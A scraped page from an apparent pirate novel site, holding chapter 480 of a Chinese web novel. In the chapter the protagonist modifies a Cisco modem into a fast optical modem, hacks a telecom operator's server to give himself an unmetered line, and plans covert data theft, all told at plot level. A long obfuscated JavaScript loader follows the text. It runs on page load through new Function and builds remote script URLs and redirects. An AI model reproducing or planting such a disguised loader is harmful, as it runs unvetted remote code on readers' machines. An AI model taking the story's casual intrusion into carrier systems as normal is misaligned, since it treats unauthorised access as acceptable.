首页
第480章 交易
返回
关灯 护眼:关 字号:小

第480章 交易

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    别看邢宝华嘴上说的很简单,但要把所有硬件给凑出来,难度不小。
    机房和外接的服务器用的是光纤技术,从七十年代就有了45Mb/s单模光纤,到八十年代又用上了康宁研发的技术每秒能达到400MB。传输距离能达到50公里。
    当然,这些都是在实验室理论上的数据,没有任何的外界干扰。
    如果从服务器直接下载数据,别的不说邢宝华只要40Mb/s的速度就可以。
    目前的路由器根本没有那么大数据量的端口。
    运营商为了节约成本,都是利用电话线俗称的ADSL,这样一来就限制了用户使用高速网络。
    这阶段的光纤价格太昂贵,不管是用户还是运营商都承受不住高昂的线路成本。
    抛开其他不说,就单说服务器使用的线路,基本都是在机房托管,就算不在机房,距离机房的距离也远。
    既然光纤技术有了,弄一台光猫出来就行?
    先不光猫中的硬件,就说软件中的协议。
    处理高速宽带、储存器宽带和内部交换宽带。宽带接口的缓冲空间,执行输入流量,输出流量等综合协议。
    接下来还要改接口吞吐量和转发率,这又牵扯到丢包率上。
    硬件方面需要专业设计芯片,不管是时间上还是能力上肯定不行,单独设计芯片成本太高。
    邢宝华唯一能想到找一款单片机在作为CPU使用,利用显卡芯片作为计算性能使用,双芯片结合着来。
    架构是改不了,只能在指令上更改。
    再一个就牵扯到缓存了,缓存越大,承受的数据量也就越大。
    邢宝华自从有了实验室和HK软件园这边员工,也好久没亲自动手研发点新东西了。
    超前的光猫弄出来,还得入侵运营商服务器,更改光猫数据,这样才能得到支持和运行账户。
    邢宝华把P2P下载技术跟他们讲一下原理,让他们组团编写程序,容量大点没事。
    把最初级的服务器节点说一下,他们瞬间就明白。
    毕竟这玩意也是从互联网追踪器改变出来,原理一样。
    有这么个软件在,起码是为了拉均速,把速率保持在一定的数值内,从而节约时间。
    原始的P2P简单得很,邢宝华想盗出来的东西还不能做种。
    不然可以曝光一些东西。
    这项技术还不能曝光,如果真盗走之后,人家肯定追查,邢宝华这边做的东西毕竟还是有些粗糙的,肯定会留下蛛丝马迹。
    种子节点的连接是从对方服务器建立的,而且还是用大数据流过载,想掩盖都掩盖不了。
    其实这项技术,邢宝华本来是想打算用在自家的娱乐公司,利用压缩技术达到在线播放。
    可现在,只能往后延迟一段时间,看看还有其他解决办法或购买一项这类的技术。
    分配好工作,邢宝华亲自前往软件园,寻找材料,准备自己研发。
    软件园的这些技术人员,他不怎么放心。除了让他们开发公司现有的项目,就邢宝华这点私活,还是自己干最放心。
    毕竟要干的活不是什么光彩的事儿,万一找来帮忙的人也是个内鬼,大美子国和小鬼子那边出了事儿,追查了某些线索,他们再一汇总对对账,邢宝华干的破事儿不就暴露出来了吗?
    在软件园实验室找了几块单片机和两块显卡芯片,口述让人给他拿很多的电子元件和几块电路板。
    打电话给华泓电信,让人给他送思科产的服务器猫,和家庭猫。
    改装吗?必须要有个参考。
    此时的企业级猫稍微大点,和电表箱差不多大,也很重。最重的还是电源器,牵扯到变压,就有几个大点的电容之类的。
    体积大也就大了,邢宝华有把握改小了,他要来这东西就是需要参考里面的逻辑芯片组程序和指令。
    互联网有很多协议,大部分协议也在这里生成。把协议复制过来,这样在使用网络的时候才能起到畅通。
    当然,协议是一方面,还有一方面就是防火墙,初代产品的第一道防火墙就在猫上,之后才到路由,从路由到网卡。
    一层一层的。
    但这些东西防不住黑客,但要是没有,就组不成协议,缺少协议网络就不支持,所以还得添加这些东西。
    邢宝华让人抱着一堆零件回家,可一进门,见到昨晚上喝多的那位,还没走。
    愣了一下,让护卫把他的东西先放书房。
    “我还以为你走了呢?”邢宝华看着坐在大厅里喝着咖啡的小妮子说道。
    “走,多没礼貌啊!还没跟你说声谢谢,你倒是让我有点刮目相看,还很正人君子。”金鑫微笑着,轻微仰着头说道。
    “别夸我,喝成那样有心无力,你要是没喝多能动,为啥不上来。”邢宝华装作一脸无辜的样,引的金鑫双肩抖动鹅鹅的笑。
    “下次我少喝点,多主动点。”金鑫继续笑着说道。
    “别,打死也不和你喝了。说吧,留在这里等我回来说说正事儿吧!其他话题免谈啊!”邢宝华说道。
    “你这人真不经逗,好了,跟你说正事儿,我们局有两大开发项目,在外汇上确实有很大的缺口,本来几乎明后两年推动,这不是你靠着刘副行长的关系和我们接触了吗?勉为其难让出一部分利来,让你参与一下。”
    金鑫说完,看向平静中的邢宝华。
    这厮听着听着画风就不怎么对了,合着就这么给赏饭了?之前想要入股海纳,如果入股成功也会抛出这么一个项目让自己参与。
    自己不同意他们入股,他们为了刘副行长的面子也给自己参与的机会?
    对方说两大项目,那就真是大项目。
    “我能知道什么项目吗?”邢宝华问道。
    “好项目,分三四个阶段的投入,每次投入都是几十亿美刀左右,第一个项目是在西非的安哥拉,我们承建了某个港口和通往港口的铁路运输线。第二个项目是在桑巴西,铁矿入股和开采权以及运输到国内这条航运线。”
    金鑫说完,又静静的看着邢宝华,此时的对方已经轻微的张开嘴。
    邢宝华确实被惊讶到了。
    不惊讶不行啊!人家确实给他送钱来着,这种好事儿打着灯笼都找不来,尤其是这种私营企业。
    是他能参与的吗?
    “需要多少资金,能分我多少股?”邢宝华问到最关键的问题。
    “最多5%,是两个项目的总算,不是每个项目5%。这点要根据项目的总价来分配。”金鑫继续说道。
    “这么少,那还不如不玩,我随便弄点项目都比这个多,信不。”邢宝华也微微笑着说道。
    其实他在想,每个项目5%也行啊!如果收益是巨大的,5%每年的利润都很可观,可现在连3%都不到,还浪费人情关系,不够折腾的。
    他随便往股市期货一划拉,这点钱就出来了。
    “瞧不起这点钱?每年有个几亿的收入。”
    “好吧!看刘副行长和你的面子,我投了。”邢宝华想尽快结束话题,从而尽快去做自己改进光猫的工作。
    “但有个条件。”
    邢宝华生气的一拍边上的沙发扶手,说道:“能不能一口气把话说完?”
    “做生意哪儿有你这样急性子的,你那个航空物流公司,我们要控股。”
    邢宝华没好气的说道:“要多少?”
    “45%”
    “20%”
    “40%”
    “25%”
    “30%”
    邢宝华盯着金鑫,说道:“那就30%。我们出个协议,按照上市后的开盘价,购买。”
    说完这句话,邢宝华抬手看看手表,说道:“时间不早了,你也早点回去吧,我还有事情忙?”
    “好吧!既然赶人家走,说明对我还是有抵触,要人家怎样,才能在你这里住下?”
    邢宝华听着刻意的声音,浑身起鸡皮疙瘩。
    见邢宝华那样,金鑫呵呵又笑起来,对着邢宝华说:“回头我把项目书给你送来,具体的投资到时候会告诉你。”
    说着就往外走,走到邢宝华身边时,还给他挤了一下眼角。
    说实话,邢宝华没感到艳,反而有点厌恶的情绪。
    安排车,送走金鑫,邢宝华来到书房,忙活自己手中的工作。
    先拆解思科的猫,把里面所有的芯片全部吹下来。
    利用特制的工具读取芯片里的数据,并保存下来,备用。
    忙活到黑天才导出两组数据来,吃过晚饭他才开始绘制线路图,一边参考思科的路线,一边加入自己的想法。
    接近十点左右的时候,邢宝华传呼出现一组代码。
    别人看不懂,以为是出现了乱码?
    对于程序员来说,出现这组代码,只要译解出来就能读懂里面的内容。
    邢宝华打开编辑器,输入代码,才读到里面的意思。
    “领导,上级已经同意帮你,静待调查结果。”
    没有署名,但邢宝华已经知道谁给他发的了。
    也没回复,把寻呼机放在一边,继续干他手头的活。
    改装比自己琢磨这创建要快的多,再说这玩意不是拿来出售,也不用考虑侵权,把能用的元器件用上就行。
    唯独难点就是在线路上,各种电阻和电压处理,又牵扯到电源管理芯片上。
    把大的设备改小了也不简单。需要把原先大的元器件用小的代替,重新规划线路等等。
    邢宝华连续三天在家捣鼓,工作室那边也没去,有事儿都是电话联系,再说他们手上也有开发项目要做。
    用了三天时间把线路整理完,焊接了一部分元件,最后就等着上芯片。
    还要特制一批芯片底座。
    邢宝华在考虑电压产生的影响,电压是外接还是内置。如果内置就要考虑散热问题。
    用铝片散热还是用小风扇散热。
    芯片温度过高也是问题,一旦数据量增大,对芯片也是考验。
    看了看那个硕大的电源,邢宝华决定还是外置电源吧。
    把变压器和机器分开,单独弄一个变压头。
    接下来就是接口问题,因为光纤接头都是一个接口,那么就需要分线器。
    这玩意也是个麻烦的事儿,由于数据量大,自带的电压供不起,又需要额外供电。
    这玩意弄出来和个小孩鞋盒子差不多大,两三斤沉。
    等特制的芯片底座到位,又用去两天,其间邢宝华也把手中的芯片程序导入到功能强大的芯片组里。
    借用显卡芯片的内核改变运算程序,这样一来关闭了显示功能,把所有的性能都分配到计算性能中。
    这样在计算数据量时,能保持稳定快速。
    弄好这一切,没给造的设备上外壳,抱着裸板就来到工作室。
    和学员们打个招呼,他准备要做个测试。
    把裸板先放在一边,先看看学员们组团开放的P2P程序怎样。
    还没完工,暂时还看不出啥来,起码要等到编完,跑码找BUG才能看出问题来。
    亲自动手制作光纤接头,弄一根2米的,5米的。
    拔下小型服务器的线来,安装在分线器上,从分线器上又甩出个头来,这样形成两股线,短的继续连接服务器,长线接在光猫上,从光猫接口导入交换器,这样一来可以提供多台设备进行合作模式。
    其他人看着邢宝华自己忙活,也不知道在干啥,也不知道怎么插手帮忙?
    等邢宝华弄完这些后,先找台机器自己攻入华泓电信服务器,更改用户码,给自己创建一条新线路,在后台把传输数据开到最大。
    又切换到HK论坛,准备找个程序做个下载测试。
    但随后看到HK论坛里的程序都很小。按照他搞的这设备,下载都是秒速,根本看不出速度来。
    怎么弄,不行在HK论坛弄个文件,下载试试?
    手头也没大文件啊!
    让老家程序员,找个硬盘,把所有的垃圾文件乱七八糟的弄20G的东西做实验用。
    这工作量也很大,硬盘就需要十来个。也没那么多东西,还得压缩一下。
    最后邢宝华让人把监控的视频弄来。凑齐了20G的文件。
    加上乱七八糟零零散散的垃圾文件,得有三五千个。
    做实验吗?就得把模拟过程走一遍。
    不光测试他造的设备性能,还要综合看下载网速,找出平均值来,在把这个平均值输入到即将出炉的P2P软件内。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();